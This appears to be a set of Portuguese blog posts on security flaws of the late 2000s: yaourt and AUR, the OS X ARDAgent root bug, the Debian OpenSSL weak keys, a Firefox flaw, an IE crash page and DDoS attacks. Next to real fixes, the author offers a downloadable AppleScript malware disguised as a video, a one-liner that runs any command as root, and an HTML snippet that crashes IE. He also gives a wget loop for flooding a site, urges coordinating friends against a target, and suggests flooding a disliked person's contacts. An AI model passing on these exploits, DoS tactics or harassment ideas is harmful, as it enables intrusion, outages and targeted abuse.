Liquuid

Yaourt permite que usemos os pacotes da comunidade Arch Linux ( AUR ) da mesma forma que gerenciamos pacotes com o pacman. Isso é bem legal já que a maioria dos pacotes interessantes para o ArchLinux estão nos repositórios não oficiais do AUR.

Confesso que não uso a ferramenta já que gosto de revisar e incrementar os scripts antes de instalar os pacotes na minha máquina, essa é uma das razões pela qual mantenho meu repositório .

Em todo caso adicionei a ferramenta ao meu repositório, é inacreditavel que o Yaourt não esteja em nenhum dos repositórios oficiais... Mas levando em conta os riscos que a utilização do yaourt impõe ao sistema, faz sentido manter ela fora. Antes que me perguntem que tipo de falhas, se eu criar um usuário no AUR, e fizer o upload de um script malicioso ele passa a ser visivel imediatamente a todos usuários do yaourt, e como a maioria não revisa os scripts da pra imaginar uma verdadeira epidemia entre todos os 16 usuários do yaourt mundo a fora.

Papo sério, hoje saiu uma atualização de segurança para o OSX Leopard ,porém nada de resolver as permissões do ARDAgent . Ok , virou palhaçada ! Os caras vendem um sistema operacional com uma falha de segurança que torna o OSX tão seguro quanto o Windows 95 e não tem a manha de corrigir !!!

Quando o leopard foi lançado muita gente reclamava de alguns warnings que apareciam durante a correção de permissões, um deles era o do ARDAgent, qual foi a solução da Apple ? Incorporar a permissão bugada ao sistema, assim eliminando os warnings e reativando o campo de distorção da realidade.

Não é possível que a Apple não tenha interesse em resolver esse problema, só pra ter uma idéia do potencial do bug, ele permite que qualquer usuário local instale um trojan no sistema, sendo administrador ou não. Já tem alguns trojans circulando web a fora. O Leopard sempre pergunta se você quer realmente abrir um programa que foi baixado da internet, mostrando inclusive a data e o site de onde o arquivo veio, o que evita trojans como aqueles do windows que são trojans disfarçados de imagens e vídeos, mas e no Tiger ? Dizem que a falha também esta presente na versão anterior.

E o pior, tem imbecis na comunidade macmaniaca que tentam minimizar a falha, inclusive pedindo pra alguém provar que esses trojans realmente funcionam e desafiando os leitores do fórum a invadir suas máquinas.

Passei um dia da minha vida estudando Xcode e produzindo um pequeno malware disfarçado de vídeo quicktime, mas a implementação a seguir é mais eficiente , modifique à vontade, é um applescript, é só compilar: clique aqui

Dizem que o OSX é mais seguro que a concorrência, acho que não :) Abra um terminal e digite :

osascript -e 'tell app "ARDAgent" to do shell script "whoami"'

Isso mesmo, troque o whoami por qualquer outro comando e execute como root .

Agora vamos resolver o problema e eliminar a ameaça :

sudo chmod u-s /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent 

Mas não vale Reparar as permissões , ou ele volta com a falha de segurança !!!

Pode não parecer, mas o mundo dos administradores de sistemas debian estremeceu nos últimos dias. Um idi... empacotador debian, modificou o código fonte do SSL sem submeter suas mudanças para o time de desenvolvimento da biblioteca. Ele modificou o código para eliminar alguns warnings que sempre apareciam ao depurar o progama no Valgrind.

Mas na verdade ele detonou a entropia necessário para gerar chaves criptográficas, limitando seu universo a apenas 65535 chaves possíveis. Ou seja, qualquer engraçadinho com 20 minutos pode testar TODAS as chaves dentro desse universo.

Um dos desenvolvedores do openssl disse que se tivesse recebido o patch da modificação, rolaria de rir mas teria impedido essa tragédia.

Como funcionaria um ataque usando essa vulnerabilidade :

• A autenticação por chaves funciona com duas chaves, uma privada e outra pública, a chave privada é secreta e fica com o usuário em sua máquina. Já a pública fica armazenada no servidor no arquivo .authorized keys.
• No momento do login o servidor manda uma mensagem criptografada com a chave pública para o cliente, essa criptografia só pode ser desfeita com a chave privada. Então o cliente decifra a mensagem e devolve para o servidor, então o servidor entende que o acesso é legitimo e estabelece a conexão.
• A falha do debian limitou a variedade de chaves em 65 mil pares, então basta que o atacante teste todas, o que não demora mais de 20 minutos em uma máquina ligada na internet com uma conexão rápida.

Se eu compreendi bem o problema, o triste dessa história é que se o joao usa ubuntu (que também foi afetado), se conecta num servidor gentoo (não afetado por esse problema) usando as chaves geradas no ubuntu, um eventual atacante pode ganhar acesso no gentoo !!! Pois a chave privada que casa com a chave pública que ele possui casa com um das 65 mil, então é só testar todas !!!

Por isso não adianta apenas atualizar o sistema, TODAS as chaves criptográficas devem ser regeredas e reinstaladas

O time do debian em conjunto com os desenvolvedores oficiais lançaram uma ferramenta que verifica na conta de todos os usuários se algum deles tem chaves comprometidas, e não permite que o sshd estabeleça qualquer conexão com essas chaves comprometidas. A ferramenta se chama ssh-vulkey, e como root deve ser executada da seguinte forma :

ssh-vulkey -a

Com isso basta obrigar seus usuários a apagarem suas chaves, ou faze-lo você mesmo, eu faria :(

A parte triste dessa história é que por enquanto apenas o debian(e seus derivados) possuem essa ferramenta, eu que tenho fedora , gentoo e mac os x tive que apagar todas as chaves de todos meus usuários para garantir.

Em 8 anos de linux nunca vi uma falha tão grande, e que bota em risco todas as distribuições linux, BSD e sistemas Unix e não Unix que se autenticam por chaves geradas com openssl... Triste, muito triste.

Agora é definitivo, nunca mais confio em distribuições baseadas em debian em minhas máquinas, meu último debian em um Imac G3 será devidamente formatado na primeira oportunidade que tiver.

O hacker diz : "Don't blame the extension developers this time :)"

A falha permite que um atacante acesse arquivos do diretório de configração do firefox, aquela que fica na sua home e armazena seus bookmarks, exenções e senhas :) Você confia na criptografia do firefox ? Não ? Então instale a extenção noscript e desligue o javascript do seu browser.

fonte: http://www.0x000000.com

Um desenvolvedor do firefox discorda da falha ....

Crie um html com esse conteudo :

<style>*{position:relative}</style><table><input></table>

Agora carregue o hmtl e veja seu IE agonizar

fonte: http://d.hatena.ne.jp/Hamachiya2/20070804/browser_crasher
http://hamachiya.com/junk/ie_crash.html

Падение Skype было результатом действия российских хакеров

Eu não sei russo, mas pelo pouco de perl que eu aprendi, a resposta pode ser essa

Atualmente o jeito mais eficaz de se derrubar um site ou um servidor é por ataques DDOoS (Distributed Denial of Service ). A idéia é muito simples e funciona quase todas as vezes, mas nenhum h4ck3r vai te contar como fazer, afinal se vc não sabe talvez seja pq não mereça saber ehehh
Um ataque DoS (Negação de serviço) põe a prova os limites físicos de um servidor, tipo , quantas requisições por segundo um servidor aguenta ? E sua banda aguenta quantas conexões simultâneas ? O hd do server consegue dar conta ? E o processador ? Tudo tem um limite, todo server tem um limite de conexões que ele pode fazer, esse limite pode ser imposto pelo software (configuração ou software mal feito), hardware ( quantidade de RAM, vel do CPU, vel da Rede...)... Já reparou que durante o dia em alguns horários fica quase impossível acessar certos sites ? Esse é a idéia fundamental do ataque DoS.
Vamos supor, um jovem entediado pega birra com um determinado site pq eles falaram mal do seu sistema operacional favorito, difundindo calúnias, uma matéria paga pelo concorrente, um verdadeiro FUD. Se ele quiser tirar o site do ar , ele pode usar seus superpoderes hackers, engenharia social e o escambal... Uma outra forma é fazer inúmeros dowloads sucessivos do site, assim outro visitante terá dificuldades em acessar o conteúdo, ou ainda ele pode estourar o limite de tráfego do site em questão, assim interditando o site até o mês seguinte, gerando prejuizos ao dono do site. Isso é o que chamamos de ataque DoS
Porém, atualmente isso é bem difícil afinal um único server pode servir 1000 usuários ao mesmo tempo, ai um outro jovem entediado resolveu criar um virus que ao invéz de apagar ou roubar dados ele faz downloads sucessivos de um determinado site... Vamos supor que o garoto infecte 500 máquinas, já imaginou, 500 máquinas diferentes atacando um único servidor ? Fazendo downloads , um atrás do outro ou pior, cada uma dessas máquinas fazendo 50 conexões simultâneas cada uma ao mesmo site, 50 * 500 , da quanto isso ? Isso é o que chamamos de ataque DDoS.

Acho que o maior ataque DDoS que já ouvi falar foram usados 200000 máquinas, um outro ataque frustrado chegou a reunir quase 1000000 (um milhão) de máquinas, mas o site atacado foi alertado e mudou de domínio por alguns dias.

Esse tipo de ataque controlado a distância depende da falta de segurança da máquina que vai receber o virus/trojam/worm, por isso é raro ver uma máquina zombie linux/mac/bsd, e com as paranoias no vista acho que esse tipo de ataque vai ser reduzido...
Mas imagine a seguinte situação, um email anuncia que uma grande cantora pop foi flagrada com um outro ídolo em cenas quentes em uma praia,o povo atiçado pela curiosidade vai acessar o link enviado no email, e se o número de pessoas curiosas for muito grande, o site vai cair, independente do boato ser verdadeiro ou não. Quando um site sai do ar devido a uma notícia/boato dizemos que o site foi "slashdoted", em referencia ao site slashdot.net.

Algumas vezes um site que contém conteúdos que causam indignação e repúdio, saem fora do ar por força dos próprios visitantes, e não por ação de hacktivistas...

Você já sabe o que derruba um site, agora vou te mostrar como :

No terminal linux/mac/bsd

while true;
do wget www.alvo.com.br;
done

Esse comando vai fazer infinitos downloads do site alvo, deixando o mesmo lento ou ainda tirando ele do ar, claro, isso se vc usar uns 500 computadores diferentes :)

Mas suponha que vc tenha amigos, que por sua vez tem amigos, se vc conseguir convencer seus amigos a rodarem esse script no mesmo horário apontando para o mesmo site existe uma chance.... Agora imagina um grupo de pessoas revoltadas com alguma empresa, site que querem fazer justiça com os próprios mouses, esse é uma tática...

Vamos além ? Qual é a melhor forma de obrigar alguém a fechar um prédio, comércio ou igreja ? Junte uns 10000 amigos e combinem todos vcs um encontro em algum lugar que não seja um estádio de futebol :) Os camelos de São Paulo fecharam a prefeitura usando essa tática...
Não gosta de um sacana ? Tem o telefone dele ? Ou email ? MSN ? A mesma idéia funciona para quase tudo que envolva centralização em alguma ponta.

Só lembrando, organizar ataques DDoS ou invasões a redes de lanchonete pode ser crime em alguns países... e eu nunca ouvi falar de vc.....

Lembram sobre os problemas de senhas em software livre ? Então, esqueci de avisar mas no caso do firefox é possível proteger suas senhas com uma senha mestre que é criptografada :):):):):):). Veja o shot :

No caso do GAIM também citado, vou entrar em contato com os desenvolvedores e/ou escrever um patch pra resolver o problema.